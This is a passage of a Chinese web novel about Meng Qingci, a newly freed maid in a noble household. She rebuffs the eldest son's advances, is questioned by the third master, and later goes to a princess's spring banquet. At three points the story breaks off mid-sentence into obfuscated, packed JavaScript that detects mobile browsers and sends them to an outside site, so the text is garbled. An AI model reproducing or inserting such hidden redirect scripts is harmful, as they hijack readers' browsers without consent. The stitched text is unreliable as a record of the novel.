大房两兄妹感情甚笃,大少爷傅晏桉还时常从外面给妹妹傅静妤带些时兴的吃食玩意儿,偶尔连带下面的奴婢也能沾着一两回新鲜,遂承辉堂和碧琼苑两边的仆役走动颇勤,孟清辞不好推辞。 此时大少爷已上值去了,许是主子不在,下人们虽然有条不紊的各司其职,神情却明显松泛些。 锦屏的屋子在廊下一侧,孟清辞掀帘子进去,笑着说:“才几日没来看你,你这屋子拾掇的更雅致些,可见大少爷疼你。” “你在外面端的一副好规矩,谁会信你这丫头私下里是个贫儿。”锦屏抿唇嗔她,顺手给小丫头抓了一把铜子儿,打发她出去,探究的看了眼笑盈盈摸着她绣绷的晴儿。 “说到你心坎上了,害臊起来了?”孟清辞抿唇轻笑:“说罢,这次想要画个什么花样子给你家少爷?” 在安义侯府这些年,孟清辞为了以后出府能有一技傍身,她除了跟着傅静妤学习琴棋书画,刺绣裁衣裳也也下了苦功,没办法,这时候女人能选择的活计属实太少。 好在侯府给傅静妤请的师傅都是翘楚,她天资聪敏又勤勉,竟学了一身好本事,相熟的丫头没少求她画个花样子,描补绣活儿什么的。 锦屏性子含蓄沉稳,她脸色微红,不予争辩,指着案上一双旧靴给她看:“我想做一双云纹皂靴,不想云纹太素,又恐过于华丽繁复少爷不喜欢,求你帮我参详个样式。” 孟清辞瞥了眼那墨色旧靴,仍旧打趣她:“爷们儿的鞋靴,左右不过那些式样,瞧你真心仔细的,倒真没枉费你家少爷疼你。” 言罢心中已有计较,提起一早备好的笔蘸了墨,在纸上细细勾勒起来 孟清辞微垂着头,露出的一节白璧光滑的玉颈,日光透过窗纸,洒在她玉瓷一样精致的小脸上,锦屏一个女人看了都要被勾走两分神,更遑论是男人见了,她试探:“听说大小姐已经换了良籍给你,大小姐待你真是亲厚。” 孟清辞抬眸看她一眼,又专注的画起来:“你怎么知道的?哦,我猜猜,我记得紫芙的二哥是在大少爷跟前伺候的,我就晓得,紫芙知道了,她一家子也就都知道了。” “你最机灵。”锦屏被她俏皮的语气逗笑:“不过你放心,你的事,这边只有我和大少爷知道。” “咱们也算自幼的情分,信不过别人,也信得过你。”孟清辞笔下不停,一节皓腕稳稳的端着运笔,她只是没有主动宣扬,却也不怕人知道,不过侯府人多口杂,晚知道比早知道少惹是非。 “你既提了自幼的情分,我便多说两句。”锦屏看着晴儿画了一会儿,打量她神色,唇角翕动:“你脱了奴籍我自然为你欢喜,只是你孤身一人,没有兄弟、老子娘,你又生的这样好,一个弱质女子,在外面没有人护着,你如何过活?” 孟清辞心想,她出去了自然有潇洒的好去处,总强过终年无休地伺候人,可她和锦屏也没法深说。 锦屏飞快瞥她一眼,又垂下眼睑,语速急促了些:“你若是不想跟着大小姐入东宫,不如......来承辉堂。咱们知根知底,和我也有个伴儿。你知道的,大少爷待你与旁人不同,是有几分真心的。大少爷模样儿、才情都是人中龙凤,你总是不亏的,好过你出去找些贩夫走卒的凡夫俗子蹉跎了自己,咱们自小院子里长大的,你哪里受得了外面讨生活的辛苦。” 锦屏寻孟清辞画样子不是头一遭,孟清辞万万没想到她今天找自己来,是为了说这样一番话。 孟清辞心知,锦屏这样的家生子,世代被奴.性驯化,能升到大少爷的一等婢女的位置,是削尖了脑袋,堪比千军万马过独木桥,已是站在奴仆里面的‘金字塔’。 身为婢女,最大的野心也就是给主子爷做妾,给自己的孩子改个跃龙门的身份,已是奴婢里的人上人,毕生最大的奔头。 锦屏今年十七了,还没放出去配人,便是要给傅晏桉做妾的,锦屏是真心觉得,她自小伺候大少爷的情分,日后做妾在身份上也会高一等。 看着锦屏说的酸涩又诚心的模样,孟清辞客观上理解她,心里还是止不住的犯恶心,她是穿来的,不像锦屏和紫芙她们,是被奴颜婢膝催生出来的,她听了这些剖心的‘肺腑之言’,并不会感恩戴德,只会心底窜出一股恶寒。 孟清辞可不觉得因为自己有个好皮相,因为锦屏说的什么主子和奴才能够日久生情。或者她是什么穿越的女主光环,魅力无边,能把傅晏桉或是身边的男人迷的神魂颠倒。 从前年纪小,在大小姐跟前,她凭的是心智才得了些体面,好在大小姐念这份情谊,放了她身楔。 侯府这些所谓的主子,看她如今到年纪了,和那要出栏的猪也没甚差别,不过是看她有一两分新鲜,还想要榨干她最后一分价值。 说的再情真意切,也不过要她留下做个取乐的玩意罢了,还要说的深情厚义,要她感恩戴德。 画完最后一笔,将笔阁下,无心再周旋,脸色微淡:“这话可不能再说,今儿就当你没睡醒,发梦了,你就是再疼我,也不能随便做主子的主,我如今已是良籍,便是要出去过活了,你自不必为我担心。” “青天白日,你们两个躲起来说什么悄悄活儿呢,谁会担心你什么?”玉露娇笑一声,打帘子进来,对孟清辞嗔怪:“你来了怎么也不去叫我,叫我瞧瞧你们被我在干什么,有什么见不得人的?” 玉露一眼看见了那双旧靴子,完全没看见锦屏脸色发僵,又见案上孟清辞描的花样子,撇嘴:“难怪呢,原是背着我要给少爷做双新靴子,还巴巴的找晴儿来画样子。” 孟清辞无心再留,借口碧琼苑还有事离不得她,匆匆出来。 玉露看不见孟清辞的影了,漫不经心的把靴子放下,自顾自坐下来,暼了锦屏一眼,嗓音冷淡下来,:“她本来就一门心思出去,谁看不出来,你还说那些话给她听,别人不知道,你会不清楚,主子对她那是几分真心嘛,她那样心高气傲的人,你还和她提一通伺候的话,你打的什么主意以为别人看不出来? 主子什么脾性儿你比谁都清楚。你怎么如此糊涂,我若是不进来,由着你胡吣下去,你能有什么好下场?” 锦屏咬着唇,脸色惨白一片,犹自嘴硬:“你不说,又怎么会被知道。” 天知道她是怎么忍着心里翻江倒海的酸意,劝晴儿给大少爷做妾。没人知道她是怎么爬上大少爷的床,只有她自己知道,大少爷醉酒的时候,按着她一直喊晴儿的名字,那样的温柔叫她沉迷,是她永远也得不到的。 最令锦屏羞耻的是,即使如此大少爷也没要了她。 “我就要出府去了,去说这吃力不讨好的事情做什么。”玉露气笑了:“你当我是怎么知道的,这院子里有什么是瞒得过大少爷的,你真是猪油蒙了心了。” 玉露年后就要嫁给庄子上管事的大儿子,她不像锦屏是个死心眼儿,她多少能懂得晴儿的心思,谁愿意一辈子给人做奴婢呢,不过是都没有晴儿的本事罢了。 孟清辞出了承晖堂,仍旧想从无衡山房后的竹林回碧琼苑,她被侯府一出接一出的污糟事情搅得心里发堵。 傅晏桉、傅静妤两兄妹自由勤勉上进,不似世子傅鸿轩纨绔,傅晏桉虽不像三爷傅珩能十二岁中秀才,十六岁点状元那般惊才绝艳,亦是年纪轻轻便进士及第,如今已官拜刑部员外郎。 印象里傅晏桉为人端正温煦,只知读书,循规蹈矩的一板一眼,如今二十了,屋里连个通房都没有,常被大爷笑说有其三叔之风。 孟清辞怎么也没想到傅晏桉对她存了这种心思,若非主子授意,锦屏一个奴婢,绝不敢擅自开这个口。 孟清辞脚下走的飞快,却在回廊转角被人拦住了去路,温雅矜贵的年轻公子身着青色白鹇补子的官服,腰间束素银带銙,一丝不苟、身姿挺拔、长身玉立,正神情沉静的望着她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083222|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “奴婢给大少爷请安。”孟清辞敛了心绪,上前端正行礼,许是良籍到手,她惫懒应付:“碧琼苑里还有事等着,奴婢先告退了。” 说罢便要侧身略过傅晏桉离去。 “生气了?”傅晏桉攥住孟清辞的手臂,他凝视人的时候,微微上挑的眼尾蕴着温柔多情,目光里有种让人心甘情愿沉沦,溺毙其中的力量。 他审了一夜的犯人,这会儿特意回来。 晴儿年纪还小,情丝上不曾开窍,难免想的天真些,二房的污糟让她厌烦,抗拒起男人来,想要出去,岂不知府外更险恶。 他不想吓到她,才特意安排锦屏和她表意,想着她心里有准备,他在好好留她,她总归会愿意的。 不想刚一进府,便得知锦屏擅作主张,远远见她走来,神色郁郁,他便知她这是恼了。 “回大少爷,奴婢只是急着回碧琼苑办差事。”孟清辞朝他扯唇敷衍一笑,并不想和他掰扯,他的手劲儿不大,她却如何也抽不回手臂,蹙眉不不耐的看他:“大少爷,这于理不合。” 傅晏桉松了手,无奈轻笑了下,清润嗓音透着宠溺:“我背过你,给你上过药,喂过饭,都忘了?” “奴婢那时候还小,年幼无知。”孟清辞脸色越发沉,不买他的账,他说的都是什么陈芝麻烂谷子的事儿,她那时候还不到十岁,穿越过来头两年,一时还拗不过原来骄矜的性子,若一直如此,林氏第一个不放过她。 “如今倒要与我撇清关系?”傅晏桉无奈揉了揉眉心,好脾气的解释:“我从不曾有过别人,你也休想撇下我。” “奴婢惶恐,您是主子,奴婢是奴才,只有尊您、敬您。”孟清辞垂眸不看她,心里厌烦的厉害,只想打发了他了事。 靠得近了,闻到了淡淡的血腥味儿,瞥见他黑色鞋靴上一抹深色湿润,想到他如今是刑部员外郎,再看他温文尔雅的面容,眉宇间似乎总是蕴着悲悯之色,她心跳擂鼓,不敢深想他从何处回来,刚又在做什么。 “你惧我?”傅晏桉容色冷了几分,语气反而更轻:“我何时和你拿过主子的乔?你明明对我并非无情,何故非要说这些话来刺我。” 孟清辞:有情嘛?有过嘛?有过吧!毕竟为奴为婢的十年太过漫长难熬,偶尔有鲜艳的温暖调剂,她为什么要拒绝,不过那也只能被归为调剂。 无论傅晏桉如何天花乱坠,事实是傅鸿轩是豺,傅晏桉是狼,她是圈里的羊,羊怎么可能和狼谈感情呢? 傅晏桉见她脸色泛白,紧张的抿唇,顺着她的目光看见了自己靴上染的点滴血渍,终究不忍心逼她,安抚的轻捏了下她纤弱的肩头:“今日的事你莫放心上,不过是想把你调到承辉堂护着你,不过你如今已是良籍,便罢了。只你忒没良心,莫不是日后出去了,便在不与我来往了?” 孟清辞见他不再纠缠,也不与他辩驳,逃也似的离开。 呵!亏他开的了口,她一个独身女子,与他一个侯府公子能有什么往来,是姘头?还是外室? 有锦屏的话在前,孟清辞根本不想与他牵扯不清,反正她已经打定了主意离开京畿,何必与他掰扯。 傅晏桉看着孟清辞急匆匆的背影,温润眸色敷了层寒霜,下颚紧绷。 想起刚见她的时候,她小小一只,看着自己通红的掌心,躲在无人角落哭泣,自怜自怨,双肩颤抖,忍而不发,叫人心软。 后来再见,她正眉眼弯弯,嘴甜的哄带她的嬷嬷。再后来妹妹选伴读,他暗地里把她塞进去,她果然聪慧,这些年深得妹妹倚重。 如今倒是后悔起没将她养在身边,不过是锦屏的几句话,倒叫她防备起他来。若不是他,傅鸿轩那混账东西早就得手了,她如何在侯府安然无事。 晴儿拿了良籍性子倒野起来,强拧着,疏远他,畏他,傅晏桉绷着下颚线,向来儒雅宁和的俊容染上一丝薄怒。 孟清辞出了回廊转过一道壁影,看见傅珩一身刻丝雷云暗纹银灰色窄袖常服,如松立在那里,也不知道多久了。 5. 第五章 “给三爷请安。”孟清辞眼底倏然掠过一丝惊诧,忙垂首敛衽,暗啐晦气,想他在这里多久?是否将她和傅晏桉的话,尽数听了去? 在祖宅的时候,素闻这位傅三爷最重规矩体统,若疑她与傅晏桉有私相授受之举,责问起来,便是她有良籍,在这府里,主子说打一顿板子,她也反抗不得,不由内心坠坠,指尖微微发凉。 傅珩负手而立,细长的丹凤眼半掀,眸光探究审视的打量她。 他那好大侄子傅晏桉,可不似表面看上去,是个光风霁月的温润公子。这两年经手抄家灭族的铁案倒是办过两桩,手段凌厉狠辣,陛下赞其决断果敢,谋略过人,竟也叫这丫头勾的神魂颠倒。 两番见她,行止规矩皆如尺量墨线,分毫不差,一身藕荷色素缎长裙,单螺髻上斜簪一支青玉雕琢的玉兰钗,耳垂两点白玉坠子,通身再无多余饰物,规矩得紧。 天光晴好,映得她一张小脸如细瓷般莹白透粉,眉不画而黛,唇不点而朱,当真一副神女玉颜。 偏生见了他,便低眉顺眼,泥塑木雕似的木讷模样,完全不似刚才拿捏傅晏桉的张狂骄矜。 看这丫头的样子,是还要从无衡山房的竹林小径绕回碧琼苑,傅珩心里哂笑,头一遭有人利用他,不谢他就罢了,还要给他甩脸子,真是狡猾的紧。 傅珩睥睨的神色藏着锋锐:“既已得了身契,为何不速速出府去?” 孟清辞心尖一颤,暗忖这男人果然听见了。回话愈发恭谨:“回三爷,奴婢一向管着碧琼苑的一应账目,一时难交割清楚,待大小姐嫁入东宫,奴婢便可出府去了。” 傅珩冷哼一声:“看你刚不念半点主仆情谊,倒似晏桉配你不上?” “齐大非偶。大少爷龙章凤姿,金玉之质,奴婢蒲柳陋质,自愧配不上,怎么好生出妄念,奴婢时刻谨府里的规矩,一刻不敢忘。”孟清辞言辞谦卑,却在心里翻着白眼。 想她从前什么没见过,有一两分姿色,献过几回殷勤,再搔首弄姿一番,就要她感天动地奉献自身,简直就是痴心妄想。 傅珩最厌女子贪妄,听她如此应答,倒觉得是个安分的,只傅晏桉那样的品貌才俊,她毫无触动,也没任何女儿家的羞怯之色,恍若无欲无求的泥菩萨,莫不是真长了个死物石头心? 孟清辞见他暂无追究之意,正欲寻个由头告退,不想傅珩眸色深深莫测,轻笑了下:“你准备如何谢爷?” 她指尖微蜷,知是被他看穿了自己的小心思,孟清辞潋滟的眸中晃过赧然之色。 她出入碧琼苑还要利用无衡山房,他既挑明了便是默认会庇护她,她神情松动了几分,飞快偷看了傅珩一眼,嗓音软了三分,颇艰涩为难:“奴婢......奴婢身无长物,针黹女工亦是勉强,恐跌了三爷体面,三爷恩德,奴婢铭感五内,若有所驱,莫有不从。” 傅珩冷嗤,这丫头张嘴就来,想来没少耍把戏糊弄傅晏桉,在他眼中不过是稚子伎俩,岂是她虚假空的三言两语能囫囵过去的。 “知恩图报是好事,倒不必你结草衔环。”他漫不经心的扶过袖口,指着身后的墨简交代她::“若有事,便叫墨简去寻你。” 言罢,转身离去,垂下的衣袂微拂,:“晴儿,破云之光,倒是个好名字。” 孟清辞站在壁影下郁郁,她叫个小丫头跑腿尚且要抓上十几个铜板,他一个主子必然不会给一个奴婢白使唤了,也不知他打的什么主意,还用结草衔环点她,只怕不是那么好打发的。 墨简紧随傅珩身后,见平日喜怒不形于色的主子脚步都轻快几分,便知主子此刻心情甚好,他挠了挠头,满腹疑窦,莫非主子昨夜的酒还未散尽? 主子最是厌恶尊卑淆乱、规矩败坏,撞见此等主仆私相授受之事,必要打板子,把人发卖出去。对这晴儿不仅不罚,也不见疾言厉色,还要叫晴儿还他人情,一个奴婢能还主子什么人情。 主子身边从无女子伺候,倒叫他去寻侄小姐房里的婢女。 那晴儿两番见了,都没个笑模样,寻来岂不是给主子自己添堵?墨简百思不得其解,主子莫不是和大少爷一样中了那晴儿的邪? 傅珩踏入傅老夫人王氏所居的慈晖阁,内里笑语喧阗。 原是傅珩一早便命人将自闽广带回的特产,同陛下的赏赐一并送了过来。此时,两位儿媳正陪着王氏赏玩一尊一人高的赤色珊瑚与一面西洋来的立身水银镜。 侯爷傅继宗续弦的继室江氏年纪轻些,绕着珊瑚走两圈儿,啧啧称奇:“媳妇儿长这么大,何曾见过如此奇观,不亏是稀世奇珍?可见三爷至孝,得了什么好东西都留给了母亲,不枉母亲平日总顾念三爷在外辛苦孤寂。” “莫说你没见过,便是我活了这岁数,也是头一遭见。”王氏被江氏的话说的熨帖,脸上的细纹都舒展开,眉开眼笑:“从前只听开国的时候,先太皇太后得了一尊,奉于佛堂深处,并不拿出来教人赏玩。” 王氏虽尊称先太皇太后一声‘表姨’,实则是早出了五福的亲戚,不过是娘家里兄弟追随先帝打江山的时候,为先帝挡剑而亡,王家这一支自此绝了男丁,才蒙先太皇太后庇佑,养在身边几年,后赐婚给傅老侯爷。 如今王氏双亲早已故去,降等的伯爵之位落在隔房叔伯一家,泥腿子出身,连个官身都没混上,一家子没几个识文断字的,又不擅经济,早成了勋贵里的破落户。 王氏当年嫁的不光彩,勋贵里没几个看得起她,近年因小儿子傅珩日渐位高权重,深受陛下器重,安义侯府才越发煊赫气象。 江氏让奴婢立着那面全身的西洋镜,自己侧着身子左顾右盼,展示给婆母王氏看:“我才知自己竟是这么个模样,别说我脸上的几颗痣,连头发丝都纤毫毕现,看得清清楚楚,真是个精巧的物件,最难得的,还得是小叔子这份孝心。有了这西洋镜,再不费事,近前一站,通身上下瞧得真真儿的。” “你个贫儿。”王氏被江氏捧得好不得意,慈眉善目的呵呵笑着。 暗忖,果然老虔婆死后,老三还是认她这个生母,到底是她身上掉下来的肉,打断了骨头连着筋。 长媳林氏因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083223|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着驳了婆母讨要晴儿给世子做妾一事,更不得王氏待见。好在这两年她也习惯了,陪笑静坐,晾在一边,强扯的笑容像是贴上的一层假皮,僵的她嘴角微颤。 守门的仆妇打起帘子通传:“三爷来了。” “小叔快来母亲身边坐。”江氏吟吟让开位置,将傅珩引至傅老夫人下首位置:“知道你要回来,母亲一早亲自把无衡山房收拾了好几遍,唯恐你归家住不惯。” 傅珩撩袍屈膝跪下,恭恭敬敬的给王氏行了叩首大礼:“儿子给母亲请安,儿子不孝,累母亲忧心,劳母亲费神为我操劳,儿子住着甚好。” 王氏见小儿子如此恭谨,眼眶立时湿润起来,忙搀他起来,按坐在自己下首,连声道:“回来就好,回来就好。” 王氏仍记得傅珩幼时,她去婆母院中探望,小儿子看她的眼神,冷漠透冰,一言不发,也不叫娘,直看的她浑身泛冷。只恨这个儿子不叫养在自己身边,叫那死老太婆教唆的与自己离心,不知编排了多少她的坏话。 如今小儿子傅珩年岁渐长,官位尊崇、威仪日重,虽仍不唤‘娘’,也能尊称一声‘母亲’。 虽不如她一手带大的老二贴心贴肺,却是她和丈夫最最得意的骨血,最是出息,风姿神韵,和当年意气风发,仙姿佚貌的老侯爷如出一辙,却又青出于蓝,比那女人所出的老大不知强出多少倍。 “大喜的日子,母亲莫不能再哭,仔细伤了眼睛,倒叫小叔心下难安。”江氏捏着帕子掩笑,插科打诨的解围。 王氏被她逗得破涕为笑,看着小儿子哪哪儿都好,怎么也稀罕不够,细细问过衣食寒暖,终忍不住问:“你如今出息,是咱们傅氏的指望,只一点叫我心里搁在心里,日夜惦记。” 傅珩轻阖双目,静静聆听,指腹摩挲着青瓷茶盏温润的边沿。 王氏觑小儿子今日脾性甚好,便劝:“原本你的事情都不要我管,只你年岁渐长,却一直不选妻室,是何道理?你祖母当年为何没给你选一个门当户对的名门闺秀?” “此事已与祖母议过,暂且不急,各种缘故不便于母亲细说,日后母亲便知晓了。”傅珩语气平缓,态度却又不容置喙。 王氏欲言又止,也不敢再问,唯恐惹了小儿子厌烦,又冷了两人的母子情分。 江氏只见过婆母跋扈,还是头次见婆母谨小慎微,眼看冷场,忙笑着打圆场:“昨日该设宴为小叔接风洗尘,怎奈小叔圣眷优渥,被召入宫。今儿定要补回来,母亲一早就吩咐了厨房备着席面儿,咱们都是借了小叔的光才好好热闹一番。” 王氏假意嗔怪江氏:“你个贫猴儿,平日哪个短了你吃穿,偏叫你这会子来现眼。” 江氏也不惧,反笑着认了:“母亲自然疼我,只我不知足,总想多沾光,如今不就叫我逮到机会了。” 一时有江氏巧言哄着,母子间也算慈孝和顺。 墨简候在廊下,听着里面言笑晏晏,一声高过一声,他头皮发麻,主子多厌烦老夫人他最是知道,此时尽孝,莫不是在想要送终,思量到此不禁抖了个激灵。 6. 第六章 孟清辞回了碧琼苑,只觉额角作痛,昨日夜里她便没睡踏实,晌午又遇这桩烦心事,头发沉的紧,倚在踏上躲懒小憩。 不知多久,外面,乔儿在她窗下轻唤:“晴儿姐姐,晴儿姐姐。” 孟清辞叹息一声,隔着茜纱窗问:“何事?” 乔儿听得应声没有恼她,松了口气:“蕊儿来找我顽儿,说是有话儿想和晴儿姐姐说。” “叫她进来吧。”孟清辞闻言怔了下,那点困倦立时消了,她趿着绣鞋下踏,将微乱的发别到耳后,从匣子里拿了半吊钱出来给乔儿:“你去厨房拣几样点心,回头你和蕊儿分了吃。” 乔儿没想还有这等好事,眉开眼笑应了,一溜烟跑出去。 蕊儿见屋里没旁人了,凑近了些,压低了嗓音:“晴儿姐姐,侯夫人叫我给您递个话儿,让姐姐近日千万仔细,能避则避,莫要在府里乱走动。” “帮我谢过你主子,这个情儿我记下了,但凡我能使上力的,叫她尽管来吩咐我。”孟清辞心下一凛,面上温声打发蕊儿出去找乔儿顽,心里如坠了铅石。 安义侯夫人早逝,因侯爷傅继宗的名声,只娶了个七品官的庶女江氏做继室,世子傅鸿轩比江氏小不了十岁,起初,侯爷还念在她年纪轻,也新鲜过一阵子,后来就撒开手,寻更新鲜的去了。 侯爷傅继宗早就被酒色掏空了身子,继室江氏自嫁过来一直未孕,她又见侯府父子荒唐,自己家世低末,气弱性卑,自觉得没了指望,郁积成疾,一病不起。 两年前大老爷刚到京畿赴任,大小姐傅静妤还叫孟清辞送过滋补之物问候江氏,孟清辞见江氏的时候也唬了一跳,江氏人瘦的只剩下一把骨头。 孟清辞不忍她年纪轻轻便如此,宽慰了她几句话。 谁想,没过多少时日,江氏竟然渐渐好了起来。至此后,江氏只管讨好傅老夫人,任那父子俩如何折腾都只是笑笑不言。 孟清辞又想到每在席间,见她和世子之间的眉眼官司,知她早已不是两年前初见的模样,感叹安义侯府真是个吃人不吐骨头的魔窟。 这次江氏定是撞见了世子又在谋划什么,又不好和她明说,才借蕊儿找乔儿顽给她传话,可见是个重情重义的。 孟清辞数着距大小姐出嫁的日子,装作染了风寒,在碧琼苑躲了两日。 只乐安大长公主今岁的春日宴,特邀太子和未过门的太子妃一同,为春日宴添彩,要这对天家眷侣,给簪缨世家的公子小姐们做个典范。 乐安大长公主乃是当今圣上一母同胞的妹妹,身份尊贵,如今上了春秋,大长公主的喜好也越发古怪,竟然喜欢做起牵线搭桥的月老,每年都要大张旗鼓的操持一场春日宴,邀请权贵世家的公子、千金参宴。 也是在去岁大长公主府的春日宴上,傅静妤一舞名满京城,与太子殿下定情,一跃成为京中的才女。 为此,太子还特意修书一封送至傅府,信中言,不好驳大长公主这个姑母的一番好意,邀傅静妤同去。 又倾诉对傅静妤多日不见的思念之情,倒要感谢大长公主,让他有机会一解相思之情。太子言辞温和,字字寄情丝,毫无储君架子,似寻常郎君与心上人的鸿雁传书。 太子既已应承,傅静妤这位未来的太子妃,便是推辞不得了。 孟清辞自然不能再‘病’着,和紫芙、春熙、芸笺三人,将傅静妤赴宴所需的衣裳、首饰、配饰、熏香等一应布置妥当,主仆几人一同前去赴宴。 公主府上的春日宴,虽是为了方便未婚的公子、千金相看,却有章程,毕竟男女有别,不能一处混席。 故特设三席:各家夫人们一席,公子、千金们各据一席,今岁公主府更是费心,特将府中水榭凉亭修葺一新,又可隔着一湾碧色湖水遥遥相望,彼此瞧的真切也朦胧,既分了席,又守了礼。 各家夫人们借此闲话家常,公子、千金们则可比文、拼墨、斗才情,为显公允,可令小厮婢女往来传递两席诗画,互为品评。 若是不喜张扬,亦可投壶、行令、斗草取乐。待到午后,可以各自去园子里赏花,若是凑巧郎有情妾有意的,也可借机偶遇,大庭广众下寒暄一两句,也算不上逾矩。 傅静妤向乐安大长公主请安后,便被相熟的临安郡主拉着去行令。她二人本就交好,加之临安王向来拥护太子,二人如今更亲密些。 临安郡主笑着将傅静妤拉到席上,和众人道:“今儿咱们沾沾准太子妃的福气,叫她做令官儿,来给咱们击鼓,趁她未入东宫,且先伺候咱们一回。” 户部尚书家千金卢清婉闻言,一点不给面子的嗤笑:“这可是你说的,待会儿若是输了,成了醉猫儿,你可莫要耍赖。” 一旁几位相熟的千金皆以团扇遮掩着偷笑,都知道临安郡主骄纵,才艺平平,若是输了,除了真心话,只能罚酒。 临安郡主果然气得胸口起伏,指着卢清婉没好气:“你别小看人,今日我借来了东风,运气好着呢!” 卢清婉故作讶然的睁大眼睛,好奇问:“哦,有多好?” “莫不是能在春日宴上觅得一位如意郎君呐?妹妹我在此先恭喜你了。”说完卢清婉还和临安郡主福了个礼。 临安郡主霎时羞红了脸,撒开傅静妤去抓卢清婉,佯装要给卢清婉好看。 卢清婉吓得花容失色,躲到傅静妤身后:“傅姐姐快救我,郡主恼羞成怒了。” 一时水榭里嬉闹笑声一片,更不不嫌事大的插话儿促狭。 “郡主最疼你,哪舍得真动你。” “是呐,不信你别跑。” 卢清婉娇嗔:“我才不信你们的鬼话,都是顽我的。” 嬉闹一番,才正经坐下行令。 孟清辞将一对鼓槌给傅静妤,侍立鼓旁。 吏部侍郎千金薛思楠见了不依,嚷开来:“快叫晴儿站过来,休想站在那里给你主子通风报信儿。” 长宁郡主恍然,摇着团扇轻哼:“怪道临安有恃无恐,原是打的这个主意,晴儿你快过来,替你主子自罚一杯。” 长宁郡主的婢女绿腰,麻利的倒了杯酒塞进孟清辞手里,眉开眼笑:“快喝罢,开席第一杯赏给你了。” “这么多双眼睛看着呢,奴婢哪有这个胆子徇私。”孟清辞心里叫苦,面上装作受宠若惊的样子,一副有苦说不出的看了眼傅静妤。 嘴上如此说,但长宁郡主叫她罚酒,她却不能犟着不从,勉强接过酒杯赔笑:“要说这样的琼浆玉液哪里是罚奴婢,明明是各位主子疼奴婢,奴婢舔颜帮着主子们尝尝味儿。” 说罢,孟清辞一仰头,一饮而尽,不想给她的不是什么果酒,而是一杯烈酒。面上立时浮起两朵绯红,一双妙目也雾蒙蒙起来。 众人见晴儿摘干净了自家主子,话儿说的漂亮,又是这样的爽快,不免又敬佩傅静妤几分,不亏是出自百年世家傅氏的姑娘,不仅自己本事,连身边的婢女都调教的格外伶俐。 傅静妤知道孟清辞的酒量,见其情状便知酒烈,忙给芸笺使眼色,对众人打趣:“你这个贪杯的馋猫儿,这会儿成了醉猫,哪里指望你伺候,莫要赖在这里讨巧,速速下去醒一醒。” 芸笺忙上前扶着明显晃了身子的孟清辞出了水榭去醒酒,孟清辞走前还夸了一声‘好酒’,又引来水榭内一片哄笑。 都是顽惯了的,规矩自不必提,傅静妤将红绸花仍在临安郡主怀里,咚咚击鼓声响起。 芸笺扶着孟清辞到公主府里,专为待客更衣、歇息的厢房,孟清辞晕的厉害,撑在软榻的小几上,从腰间荷包里取出一颗醒酒丸干咽了。 “每次都是果酒,怎的给你灌这样的烈酒?”芸笺蹙眉,给她倒了杯茶水。 孟清辞没喝,略缓了缓神儿,拉着芸笺:“你去马车上把主子的常服、舞衣还有胭脂水粉取来。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083224|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉出什么了?”芸笺疑惑,又担心她:“你这个样子独自在此处,能行嘛?” “我醉这样,哪能细想?只是事出反常必有蹊跷,咱们有备无患,谁叫主子如今站的高,总有不想咱们好的。”孟清辞垂眸:“放心,吃了醒酒丸,不出半个时辰,酒劲儿就散了。” 多年的默契,芸笺觉晴儿说的有道理,不再耽搁,掩好厢房的门,脚下步子飞快,打算快去快回。 水榭里,行令过了几轮,红绸花再次落入临安郡主怀里,她不依的耍起赖:“你们欺负人,合起伙儿来算计我一个,否则怎么次次都是我?莫不是要灌醉我?” “就说你会耍赖,算起来咱们也没比你少被标中,是你自己不济,没有拿手的一技之长,只能灌酒,自然醉的快。”长宁郡主嗤笑,又逗她:“你不如祈祷一番,好叫傅姐姐莫要标中你。” 薛思楠忍不住娇笑:“没了晴儿,她就是求大罗神仙也不管用的。” 傅静妤只觉她们贫的很,偏临安又是个经不住撩拨的,三言两语便两颊气鼓鼓了,傅静妤见了无奈的摇头笑而不语。 临安郡主不屑的撇嘴:“谁要求爷爷告奶奶,不如本郡主自己求自己,哼,换我来做令官儿,好叫傅姐姐歇一歇,看哪个还能标中我不成。” 傅静妤观临安郡主却喝了不少,不好驳她面子,扫了大家的兴致,只能坐下陪席行令。 只三两局下来,她便觉出不对劲儿,未及细想,红绸花便标中了她,傅静妤只得依令抽签受罚,便见签上写着:要一舞《洛神飞天》,正是去岁她春日宴上与太子定情的舞曲。 卢清卢清婉瞥见傅静妤览签后神色微异,心下好奇,上前将令签从傅静妤手里抽出,漫不经心的打着团扇,细看令签上的小字,‘咦’了一声,目光在众人见掠过,轻哼:“真是奇了,若是旁人抽了这一签,还非要罚酒不可。” 薛思楠性急,催促她:“你少要危言耸听,快快说来,究竟罚了什么。” 